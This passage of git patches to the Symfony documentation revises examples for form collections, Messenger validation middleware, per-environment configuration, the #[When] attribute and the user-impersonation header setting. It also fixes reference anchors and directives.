@@ -303,9 +304,9 @@ you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``)
     const addFormToCollection = (e) => {
       const collectionHolder = document.querySelector('.' + e.currentTarget.dataset.collectionHolderClass);
 
-      const item = document.createElement('li');
+      const element = document.createElement('li');
 
-      item.innerHTML = collectionHolder
+      element.innerHTML = collectionHolder
         .dataset
         .prototype
         .replace(
@@ -313,7 +314,7 @@ you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``)
           collectionHolder.dataset.index
         );
 
-      collectionHolder.appendChild(item);
+      collectionHolder.appendChild(element);
 
       collectionHolder.dataset.index++;
     };
@@ -540,24 +541,23 @@ First, add a "delete this tag" link to each tag form:
         // ...
 
         // add a delete link to the new form
-        addTagFormDeleteLink(item);
+        addTagFormDeleteLink(element);
     }
 
 The ``addTagFormDeleteLink()`` function will look something like this:
 
 .. code-block:: javascript
 
-    const addTagFormDeleteLink = (tagFormLi) => {
-        const removeFormButton = document.createElement('button')
-        removeFormButton.classList
-        removeFormButton.innerText = 'Delete this tag'
+    const addTagFormDeleteLink = (element) => {
+        const removeFormButton = document.createElement('button');
+        removeFormButton.innerText = 'Delete this tag';
 
-        tagFormLi.append(removeFormButton);
+        element.append(removeFormButton);
 
         removeFormButton.addEventListener('click', (e) => {
-            e.preventDefault()
+            e.preventDefault();
             // remove the li for the tag form
-            tagFormLi.remove();
+            element.remove();
         });
     }
 
@@ -652,7 +652,6 @@ the relationship between the removed ``Tag`` and ``Task`` object.
     the `symfony-collection`_ package based on `jQuery`_ for the rest of browsers.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
-.. _`jQuery`: http://jquery.com/
 .. _`JSFiddle`: https://jsfiddle.net/ey8ozh6n/
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection

From 874f2fdcf975cd3de6e06349347f822b8c01fe1d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 16 Jan 2022 13:01:46 +0100
Subject: [PATCH 2957/7107] Minor changes

---
 form/form_collections.rst | 52 ++++++++++++++++++++++-----------------
 1 file changed, 30 insertions(+), 22 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index ca104b80ab4..8b34dc700aa 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -238,19 +238,26 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a
 
 The ``allow_add`` option also makes a ``prototype`` variable available to you.
 This "prototype" is a little "template" that contains all the HTML needed to
-dynamically create any new "tag" forms with JavaScript. Now add the following
-``data-index`` (containing the current "form row" number for the following JavaScript)
-and ``data-prototype`` attribute to the existing ``<ul>`` in your template:
+dynamically create any new "tag" forms with JavaScript. To render the prototype, add
+the following ``data-prototype`` attribute to the existing ``<ul>`` in your
+template:
 
 .. code-block:: html+twig
 
-    <ul class="tags" data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
+    {# the data-index attribute is required for the JavaScript code below #}
+    <ul class="tags"
+        data-index="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}"
+        data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"
+    ></ul>
 
 On the rendered page, the result will look something like this:
 
 .. code-block:: html
 
-    <ul class="tags" data-index="0" data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;">
+    <ul class="tags"
+        data-index="0"
+        data-prototype="&lt;div&gt;&lt;label class=&quot; required&quot;&gt;__name__&lt;/label&gt;&lt;div id=&quot;task_tags___name__&quot;&gt;&lt;div&gt;&lt;label for=&quot;task_tags___name___name&quot; class=&quot; required&quot;&gt;Name&lt;/label&gt;&lt;input type=&quot;text&quot; id=&quot;task_tags___name___name&quot; name=&quot;task[tags][__name__][name]&quot; required=&quot;required&quot; maxlength=&quot;255&quot; /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;"
+    ></ul>
 
 Now add a button to dynamically add a new tag:
 
@@ -282,16 +289,16 @@ Now add a button to dynamically add a new tag:
     and you need to adjust the following JavaScript accordingly.
 
 Now add some JavaScript to read this attribute and dynamically add new tag forms
-when the user clicks the "Add a tag" link.
-
-Add a ``<script>`` tag somewhere on your page to include the required
-functionality with JavaScript:
+when the user clicks the "Add a tag" link. Add a ``<script>`` tag somewhere
+on your page to include the required functionality with JavaScript:
 
 .. code-block:: javascript
 
     document
       .querySelectorAll('.add_item_link')
-      .forEach(btn => btn.addEventListener("click", addFormToCollection));
+      .forEach(btn => {
+          btn.addEventListener("click", addFormToCollection)
+      });
 
 The ``addFormToCollection()`` function's job will be to use the ``data-prototype``
 attribute to dynamically add a new form when this link is clicked. The ``data-prototype``
@@ -304,9 +311,9 @@ you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``)
     const addFormToCollection = (e) => {
       const collectionHolder = document.querySelector('.' + e.currentTarget.dataset.collectionHolderClass);
 
-      const element = document.createElement('li');
+      const item = document.createElement('li');
 
-      element.innerHTML = collectionHolder
+      item.innerHTML = collectionHolder
         .dataset
         .prototype
         .replace(
@@ -314,7 +321,7 @@ you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``)
           collectionHolder.dataset.index
         );
 
-      collectionHolder.appendChild(element);
+      collectionHolder.appendChild(item);
 
       collectionHolder.dataset.index++;
     };
@@ -530,34 +537,35 @@ First, add a "delete this tag" link to each tag form:
 
 .. code-block:: javascript
 
-    const tags = document.querySelectorAll('ul.tags li')
-    tags.forEach((tag) => {
-        addTagFormDeleteLink(tag)
-    })
+    document
+        .querySelectorAll('ul.tags li')
+        .forEach((tag) => {
+            addTagFormDeleteLink(tag)
+        })
 
     // ... the rest of the block from above
 
-    function addFormToCollection() {
+    const addFormToCollection = (e) => {
         // ...
 
         // add a delete link to the new form
-        addTagFormDeleteLink(element);
+        addTagFormDeleteLink(item);
     }
 
 The ``addTagFormDeleteLink()`` function will look something like this:
 
 .. code-block:: javascript
 
-    const addTagFormDeleteLink = (element) => {
+    const addTagFormDeleteLink = (item) => {
         const removeFormButton = document.createElement('button');
         removeFormButton.innerText = 'Delete this tag';
 
-        element.append(removeFormButton);
+        item.append(removeFormButton);
 
         removeFormButton.addEventListener('click', (e) => {
             e.preventDefault();
             // remove the li for the tag form
-            element.remove();
+            item.remove();
         });
     }
 

From 0fc886d2ae9fa02ef220bf1e97518034761897df Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 28 Dec 2021 14:13:49 +0100
Subject: [PATCH 2958/7107] [Messenger] Document the validation middleware

---
 messenger.rst | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e177e99655b..8a4d66fe4ac 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1730,6 +1730,67 @@ may want to use:
             ],
         ]);
 
+Other Middlewares
+~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 4.1
+
+    The ``validation`` middleware was introduced in Symfony 4.1.
+
+Add the ``validation`` middleware if you need to validate the message
+object using the :doc:`Validator component <validator>` before handling it.
+If validation fails, a ``ValidationFailedException`` will be thrown. The
+:class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp` can be used
+to configure the validation groups.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                buses:
+                    command_bus:
+                        middleware:
+                            - validation
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:bus name="command_bus">
+                        <framework:middleware id="validation"/>
+                    </framework:bus>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        $container->loadFromExtension('framework', [
+            'messenger' => [
+                'buses' => [
+                    'command_bus' => [
+                        'middleware' => [
+                            'validation',
+                        ],
+                    ],
+                ],
+            ],
+        ]);
+
 Messenger Events
 ~~~~~~~~~~~~~~~~
 

From 0aea09a7f054624c83b7ad3170d49cf1e32352db Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 16 Jan 2022 13:28:24 +0100
Subject: [PATCH 2959/7107] Fix merge

---
 messenger.rst | 71 +++++++--------------------------------------------
 1 file changed, 9 insertions(+), 62 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 75fd129a32d..48b0bf483da 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2152,6 +2152,12 @@ the consumer (e.g. render a template with links). This middleware stores the
 original request context (i.e. the host, the HTTP port, etc.) which is needed
 when building absolute URLs.
 
+Add the ``validation`` middleware if you need to validate the message
+object using the :doc:`Validator component <validator>` before handling it.
+If validation fails, a ``ValidationFailedException`` will be thrown. The
+:class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp` can be used
+to configure the validation groups.
+
 .. configuration-block::
 
     .. code-block:: yaml
@@ -2163,6 +2169,7 @@ when building absolute URLs.
                     command_bus:
                         middleware:
                             - router_context
+                            - validation
 
     .. code-block:: xml
 
@@ -2180,6 +2187,7 @@ when building absolute URLs.
                 <framework:messenger>
                     <framework:bus name="command_bus">
                         <framework:middleware id="router_context"/>
+                        <framework:middleware id="validation"/>
                     </framework:bus>
                 </framework:messenger>
             </framework:config>
@@ -2195,70 +2203,9 @@ when building absolute URLs.
 
             $bus = $messenger->bus('command_bus');
             $bus->middleware()->id('router_context');
+            $bus->middleware()->id('validation');
         };
 
-
-Other Middlewares
-~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 4.1
-
-    The ``validation`` middleware was introduced in Symfony 4.1.
-
-Add the ``validation`` middleware if you need to validate the message
-object using the :doc:`Validator component <validator>` before handling it.
-If validation fails, a ``ValidationFailedException`` will be thrown. The
-:class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp` can be used
-to configure the validation groups.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/messenger.yaml
-        framework:
-            messenger:
-                buses:
-                    command_bus:
-                        middleware:
-                            - validation
-
-    .. code-block:: xml
-
-        <!-- config/packages/messenger.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:messenger>
-                    <framework:bus name="command_bus">
-                        <framework:middleware id="validation"/>
-                    </framework:bus>
-                </framework:messenger>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'buses' => [
-                    'command_bus' => [
-                        'middleware' => [
-                            'validation',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
-
 Messenger Events
 ~~~~~~~~~~~~~~~~
 

From 61f50005ebc8e2cde512e0632ffba9e4ce3bc894 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Wed, 22 Dec 2021 14:05:29 +0100
Subject: [PATCH 2960/7107] [Configuration] Multiple environments in a single
 file

---
 configuration.rst | 96 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 96 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 4e31c03a3f9..f70f0fa2b61 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -410,6 +410,102 @@ In reality, each environment differs only somewhat from others. This means that
 all environments share a large base of common configuration, which is put in
 files directly in the ``config/packages/`` directory.
 
+.. tip::
+
+    You can also define options for different environments in a single configuration file.
+
+    .. versionadded:: 5.3
+
+        The ability to defined different environments in a single file was introduced in Symfony 5.3.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/webpack_encore.yaml
+            webpack_encore:
+                # ...
+                output_path: '%kernel.project_dir%/public/build'
+                strict_mode: true
+                cache: false
+
+            when@prod:
+                webpack_encore:
+                    cache: true
+
+            when@test:
+                webpack_encore:
+                    strict_mode: false
+
+        .. code-block:: xml
+
+            <!-- config/packages/webpack_encore.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+                <webpack-encore:config>
+                    <!-- ... -->
+                </webpack-encore:config>
+
+                <when env="prod">
+                    <webpack-encore:config>
+                        <!-- ... -->
+                    </webpack-encore:config>
+                </when>
+
+                <when env="test">
+                    <webpack-encore:config>
+                        <!-- ... -->
+                    </webpack-encore:config>
+                </when>
+            </container>
+
+        .. code-block:: php
+
+            // config/packages/framework.php
+            use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (FrameworkConfig $framework, ContainerConfigurator $container) {
+                // ...
+
+                if ('prod' === $container->env()) {
+                    // ...
+                }
+
+                if ('test' === $container->env()) {
+                    $framework->test(true);
+                    $framework->session()->storageFactoryId('session.storage.mock_file');
+                }
+            };
+    
+    Also, if you are using PHP 8.0 or later, you can use the PHP attribute ``#[When]`` to tell that a class should only be registered as services in some environments :
+    
+    .. configuration-block::
+
+        .. code-block:: php-attributes
+
+            use Symfony\Component\DependencyInjection\Attribute\When;
+
+            #[When(env: 'dev')]
+            class SomeClass
+            {
+                // ...
+            }
+
+            // you can apply more than one attribute to the same class:
+
+            #[When(env: 'dev')]
+            #[When(env: 'test')]
+            class AnotherClass
+            {
+                // ...
+            }
+
 .. seealso::
 
     See the ``configureContainer()`` method of

From dbc99b8347b1367c98f1ceb2de6f2e26d9366425 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 16 Jan 2022 13:44:07 +0100
Subject: [PATCH 2961/7107] Move #[When] attribute to Service Container docs

---
 configuration.rst     | 68 +++++++++++++++++--------------------------
 service_container.rst | 29 ++++++++++++++++++
 2 files changed, 56 insertions(+), 41 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index f70f0fa2b61..569e70a57f9 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -412,11 +412,13 @@ files directly in the ``config/packages/`` directory.
 
 .. tip::
 
-    You can also define options for different environments in a single configuration file.
-
     .. versionadded:: 5.3
 
-        The ability to defined different environments in a single file was introduced in Symfony 5.3.
+        The ability to defined different environments in a single file was
+        introduced in Symfony 5.3.
+
+    You can also define options for different environments in a single
+    configuration file using the special ``when`` keyword:
 
     .. configuration-block::
 
@@ -429,10 +431,12 @@ files directly in the ``config/packages/`` directory.
                 strict_mode: true
                 cache: false
 
+            # cache is enabled only in the "prod" environment
             when@prod:
                 webpack_encore:
                     cache: true
 
+            # disable strict mode only in the "test" environment
             when@test:
                 webpack_encore:
                     strict_mode: false
@@ -447,20 +451,20 @@ files directly in the ``config/packages/`` directory.
                     https://symfony.com/schema/dic/services/services-1.0.xsd
                     http://symfony.com/schema/dic/symfony
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-                <webpack-encore:config>
-                    <!-- ... -->
-                </webpack-encore:config>
+                <webpack-encore:config
+                    output-path="%kernel.project_dir%/public/build"
+                    strict-mode="true"
+                    cache="false"
+                />
 
+                <!-- cache is enabled only in the "test" environment -->
                 <when env="prod">
-                    <webpack-encore:config>
-                        <!-- ... -->
-                    </webpack-encore:config>
+                    <webpack-encore:config cache="true"/>
                 </when>
 
+                <!-- disable strict mode only in the "test" environment -->
                 <when env="test">
-                    <webpack-encore:config>
-                        <!-- ... -->
-                    </webpack-encore:config>
+                    <webpack-encore:config strict-mode="false"/>
                 </when>
             </container>
 
@@ -468,43 +472,25 @@ files directly in the ``config/packages/`` directory.
 
             // config/packages/framework.php
             use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-            use Symfony\Config\FrameworkConfig;
+            use Symfony\Config\WebpackEncoreConfig;
 
-            return static function (FrameworkConfig $framework, ContainerConfigurator $container) {
-                // ...
+            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $container) {
+                $webpackEncore
+                    ->outputPath('%kernel.project_dir%/public/build')
+                    ->strictMode(true)
+                    ->cache(false)
+                ;
 
+                // cache is enabled only in the "prod" environment
                 if ('prod' === $container->env()) {
-                    // ...
+                    $webpackEncore->cache(true);
                 }
 
+                // disable strict mode only in the "test" environment
                 if ('test' === $container->env()) {
-                    $framework->test(true);
-                    $framework->session()->storageFactoryId('session.storage.mock_file');
+                    $webpackEncore->strictMode(false);
                 }
             };
-    
-    Also, if you are using PHP 8.0 or later, you can use the PHP attribute ``#[When]`` to tell that a class should only be registered as services in some environments :
-    
-    .. configuration-block::
-
-        .. code-block:: php-attributes
-
-            use Symfony\Component\DependencyInjection\Attribute\When;
-
-            #[When(env: 'dev')]
-            class SomeClass
-            {
-                // ...
-            }
-
-            // you can apply more than one attribute to the same class:
-
-            #[When(env: 'dev')]
-            #[When(env: 'test')]
-            class AnotherClass
-            {
-                // ...
-            }
 
 .. seealso::
 
diff --git a/service_container.rst b/service_container.rst
index 0e44401bef2..ff1758b1bb3 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -222,6 +222,35 @@ each time you ask for it.
     If you'd prefer to manually wire your service, that's totally possible: see
     :ref:`services-explicitly-configure-wire-services`.
 
+Limiting Services to a specific Symfony Environment
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.3
+
+    The ``#[When]`` attribute was introduced in Symfony 5.3.
+
+If you are using PHP 8.0 or later, you can use the ``#[When]`` PHP
+attribute to only register the class as a service in some environments::
+
+    use Symfony\Component\DependencyInjection\Attribute\When;
+
+    // SomeClass is only registered in the "dev" environment
+
+    #[When(env: 'dev')]
+    class SomeClass
+    {
+        // ...
+    }
+
+    // you can also apply more than one When attribute to the same class
+
+    #[When(env: 'dev')]
+    #[When(env: 'test')]
+    class AnotherClass
+    {
+        // ...
+    }
+
 .. _services-constructor-injection:
 
 Injecting Services/Config into a Service

From 0f820dec3dccbb5d5759fb1fabdf267292a43e4b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 7 Jan 2022 18:28:39 +0100
Subject: [PATCH 2962/7107] Advertise Symfony UX form types

---
 reference/forms/types/map.rst.inc | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 8171c836a4d..52368b05b14 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -43,6 +43,14 @@ Other Fields
 * :doc:`FileType </reference/forms/types/file>`
 * :doc:`RadioType </reference/forms/types/radio>`
 
+Symfony UX Fields
+~~~~~~~~~~~~~~~~~
+
+These types are part of the `Symfony UX initiative`_:
+
+* `CropperType`_ (using Cropper.js)
+* `DropzoneType`_
+
 UID Fields
 ~~~~~~~~~~
 
@@ -71,3 +79,7 @@ Base Fields
 ~~~~~~~~~~~
 
 * :doc:`FormType </reference/forms/types/form>`
+
+.. _`Symfony UX initiative`: https://github.com/symfony/ux#readme
+.. _`CropperType`: https://github.com/symfony/ux/tree/2.x/src/Cropperjs#readme
+.. _`DropzoneType`: https://github.com/symfony/ux/tree/2.x/src/Dropzone#readme

From 38b42b8ea971c30c2b75027c0faa62ccfc8202e9 Mon Sep 17 00:00:00 2001
From: Takashi Kanemoto <ttskch@gmail.com>
Date: Mon, 17 Jan 2022 11:02:55 +0900
Subject: [PATCH 2963/7107] Update impersonating_user.rst

To use switching user feature via `HTTP_X_SWITCH_USER` header we have to set `switch_user.parameter: HTTP_X_SWITCH_USER` in security.yaml.
---
 security/impersonating_user.rst | 47 ++++++++++++++++++++++++++++++++-
 1 file changed, 46 insertions(+), 1 deletion(-)

diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 5f44a7fad23..67b76c7b70a 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -75,7 +75,52 @@ as the value to the current URL:
 .. tip::
 
     Instead of adding a ``_switch_user`` query string parameter, you can pass
-    the username in a ``HTTP_X_SWITCH_USER`` header.
+    the username in a ``HTTP_X_SWITCH_USER`` header. You can use this feature by adjusting the ``parameter`` setting:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/security.yaml
+            security:
+                # ...
+                firewalls:
+                    main:
+                        # ...
+                        switch_user: { parameter: HTTP_X_SWITCH_USER }
+
+        .. code-block:: xml
+
+            <!-- config/packages/security.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <srv:container xmlns="http://symfony.com/schema/dic/security"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:srv="http://symfony.com/schema/dic/services"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/security
+                    https://symfony.com/schema/dic/security/security-1.0.xsd">
+                <config>
+                    <!-- ... -->
+                    <firewall name="main">
+                        <!-- ... -->
+                        <switch-user parameter="HTTP_X_SWITCH_USER"/>
+                    </firewall>
+                </config>
+            </srv:container>
+
+        .. code-block:: php
+
+            // config/packages/security.php
+            use Symfony\Config\SecurityConfig;
+            return static function (SecurityConfig $security) {
+                // ...
+                $security->firewall('main')
+                    // ...
+                    ->switchUser()
+                        ->parameter('HTTP_X_SWITCH_USER')
+                ;
+            };
 
 To switch back to the original user, use the special ``_exit`` username:
 

From 3a66610cd5e40ffdc0fec583d7b3bf139d254f3c Mon Sep 17 00:00:00 2001
From: Mark Pedron <marktpedron@gmail.com>
Date: Mon, 17 Jan 2022 07:25:01 +0100
Subject: [PATCH 2964/7107] Remove outdated versionadded 5.* directives

For version 6.0, no versionadded <6.0 are allowed.
---
 configuration.rst     | 5 -----
 http_client.rst       | 4 ----
 serializer.rst        | 5 -----
 service_container.rst | 4 ----
 4 files changed, 18 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 90c3b7047e6..b0d87eea3d8 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -412,11 +412,6 @@ files directly in the ``config/packages/`` directory.
 
 .. tip::
 
-    .. versionadded:: 5.3
-
-        The ability to defined different environments in a single file was
-        introduced in Symfony 5.3.
-
     You can also define options for different environments in a single
     configuration file using the special ``when`` keyword:
 
diff --git a/http_client.rst b/http_client.rst
index 0b68740e398..332e2ccd6e3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1688,10 +1688,6 @@ responses dynamically when it's called::
         $client = new MockHttpClient();
         $client->setResponseFactory($responses);
 
-    .. versionadded:: 5.4
-
-        The ``setResponseFactory()`` method was introduced in Symfony 5.4.
-
 If you need to test responses with HTTP status codes different than 200,
 define the ``http_code`` option::
 
diff --git a/serializer.rst b/serializer.rst
index 296d2c7626a..ef4a8e483df 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -149,11 +149,6 @@ configuration:
             ;
         };
 
-.. versionadded:: 5.4
-
-    The ability to configure the ``default_context`` option in the
-    Serializer was introduced in Symfony 5.4.
-
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations
diff --git a/service_container.rst b/service_container.rst
index 5af42e690c0..62b18134845 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -225,10 +225,6 @@ each time you ask for it.
 Limiting Services to a specific Symfony Environment
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.3
-
-    The ``#[When]`` attribute was introduced in Symfony 5.3.
-
 If you are using PHP 8.0 or later, you can use the ``#[When]`` PHP
 attribute to only register the class as a service in some environments::
 

From cea3939c3ec2d405cb85320070c4a511c0f88b53 Mon Sep 17 00:00:00 2001
From: Mark Pedron <marktpedron@gmail.com>
Date: Sat, 15 Jan 2022 12:44:31 +0100
Subject: [PATCH 2965/7107] Fix bugs seen by `_build/build.php` diagnostics in
 4.4

---
 form/bootstrap4.rst |  2 +-
 index.rst           |  4 ++--
 testing.rst         | 12 ------------
 3 files changed, 3 insertions(+), 15 deletions(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 501dd88509f..31f7e50cf1a 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -77,7 +77,7 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
         {{ form(form) }}
     {% endblock %}
 
-.. _reference-forms-bootstrap-error-messages:
+.. _reference-forms-bootstrap4-error-messages:
 
 Error Messages
 --------------
diff --git a/index.rst b/index.rst
index a1cd8e9f3c6..d2469a0cc24 100644
--- a/index.rst
+++ b/index.rst
@@ -69,9 +69,9 @@ Components
 .. toctree::
     :hidden:
 
-    components/index
+    components/
 
-Read the :doc:`Components </components/index>` documentation.
+Read the :doc:`Components </components/>` documentation.
 
 Reference Documents
 -------------------
diff --git a/testing.rst b/testing.rst
index 9e493f293ef..80e425f2276 100644
--- a/testing.rst
+++ b/testing.rst
@@ -523,10 +523,6 @@ The full signature of the ``request()`` method is::
 
 This allows you to create all types of requests you can think of:
 
-.. contents::
-    :local:
-    :depth: 1
-
 .. tip::
 
     The test client is available as the ``test.client`` service in the
@@ -671,10 +667,6 @@ Interacting with the Response
 Like a real browser, the Client and Crawler objects can be used to interact
 with the page you're served:
 
-.. contents::
-    :local:
-    :depth: 1
-
 .. _testing-links:
 
 Clicking on Links
@@ -815,10 +807,6 @@ check anything you want.
 
 However, Symfony provides useful shortcut methods for the most common cases:
 
-.. contents::
-    :local:
-    :depth: 1
-
 .. versionadded:: 4.3
 
     The shortcut methods for assertions using ``WebTestCase`` were introduced

From 31bf04d4b487662590020d4049b662047e532f12 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Jan 2022 09:42:08 +0100
Subject: [PATCH 2966/7107] Restore the contents directive

---
 testing.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/testing.rst b/testing.rst
index 80e425f2276..9e493f293ef 100644
--- a/testing.rst
+++ b/testing.rst
@@ -523,6 +523,10 @@ The full signature of the ``request()`` method is::
 
 This allows you to create all types of requests you can think of:
 
+.. contents::
+    :local:
+    :depth: 1
+
 .. tip::
 
     The test client is available as the ``test.client`` service in the
@@ -667,6 +671,10 @@ Interacting with the Response
 Like a real browser, the Client and Crawler objects can be used to interact
 with the page you're served:
 
+.. contents::
+    :local:
+    :depth: 1
+
 .. _testing-links:
 
 Clicking on Links
@@ -807,6 +815,10 @@ check anything you want.
 
 However, Symfony provides useful shortcut methods for the most common cases:
 
+.. contents::
+    :local:
+    :depth: 1
+
 .. versionadded:: 4.3
 
     The shortcut methods for assertions using ``WebTestCase`` were introduced

From 96f0174c15cd1d86f024fd81135b6335652abe3e Mon Sep 17 00:00:00 2001
From: Mark Pedron <marktpedron@gmail.com>
Date: Sat, 15 Jan 2022 14:08:11 +0100
Subject: [PATCH 2967/7107] Add missing anchor in forms/bootstrap5

Fixes the following diagnostic emitted by `_build/build.php`:
```
Found invalid reference "reference-forms-bootstrap5-error-messages" in file "form/form_customization"
```
---
 form/bootstrap5.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 9e1f0bd3d45..0a593d0d31c 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -83,6 +83,8 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
     container. If you override the ``row_attr`` class option, the ``mb-3`` will
     be overridden too and you will need to explicitly add it.
 
+.. _reference-forms-bootstrap5-error-messages:
+
 Error Messages
 --------------
 

From c36a74f778d272f16ef0aea3a80da002291d7870 Mon Sep 17 00:00:00 2001
From: Mark Pedron <marktpedron@gmail.com>
Date: Sat, 15 Jan 2022 12:34:52 +0100
Subject: [PATCH 2968/7107]  Fix bugs seen by `_build/build.php` diagnostics in
 5.4

---
 components/lock.rst            | 28 ++++++++++++++--------------
 reference/forms/types/enum.rst |  2 +-
 2 files changed, 15 insertions(+), 15 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 4069a238ee5..0d00885b9c2 100644
--- a/components/lock.rst
+++ b/components/lock.rst
